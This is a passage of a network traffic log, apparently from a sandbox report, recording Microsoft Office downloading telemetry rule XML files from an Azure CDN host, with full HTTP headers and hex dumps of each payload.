3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:51 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:51 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: bcf9f347-101e-007a-60d2-45047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210851Z-1746fd949bd6zq92hC1EWRry4800000004pg00000000nntg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:51 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:53 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 85a1d3f6-901e-005b-3ecd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210853Z-1746fd949bd6zq92hC1EWRry4800000004t0000000005u5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:53 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210853Z-r1cf579d778t6txphC1EWRsd4400000000x0000000007qte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:53 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:53 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:53 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 5e84b1af-e01e-0071-205c-4708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210853Z-1746fd949bdqpttnhC1EWRe1wg00000004bg00000000zuz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:53 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a374b664-e01e-0051-1f05-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210853Z-r1cf579d778qlpkrhC1EWRpfc800000001600000000027fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:53 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:53 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:53 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210853Z-r1cf579d778qlpkrhC1EWRpfc8000000012g000000009qne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:53 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210855Z-r1cf579d778zvkpnhC1EWRv23g00000000qg0000000050c6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:55 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 72953a3b-301e-0000-41cd-45eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210855Z-1746fd949bdkw94lhC1EWRxuz400000004yg000000008pwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:55 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:55 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:55 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: e8edc24c-801e-0083-0ecc-45f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210855Z-1746fd949bdhk6hphC1EWRaw3c00000004m0000000003pzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:55 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:55 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210855Z-r1cf579d778t6txphC1EWRsd4400000001000000000022zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:55 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:55 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:55 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 92011275-e01e-0033-54c3-454695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210855Z-1746fd949bdhk6hphC1EWRaw3c00000004eg00000000ph85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:55 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:57 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:57 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:57 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210857Z-r1cf579d778d5zkmhC1EWRk6h800000000w0000000009hka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:08:57 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" 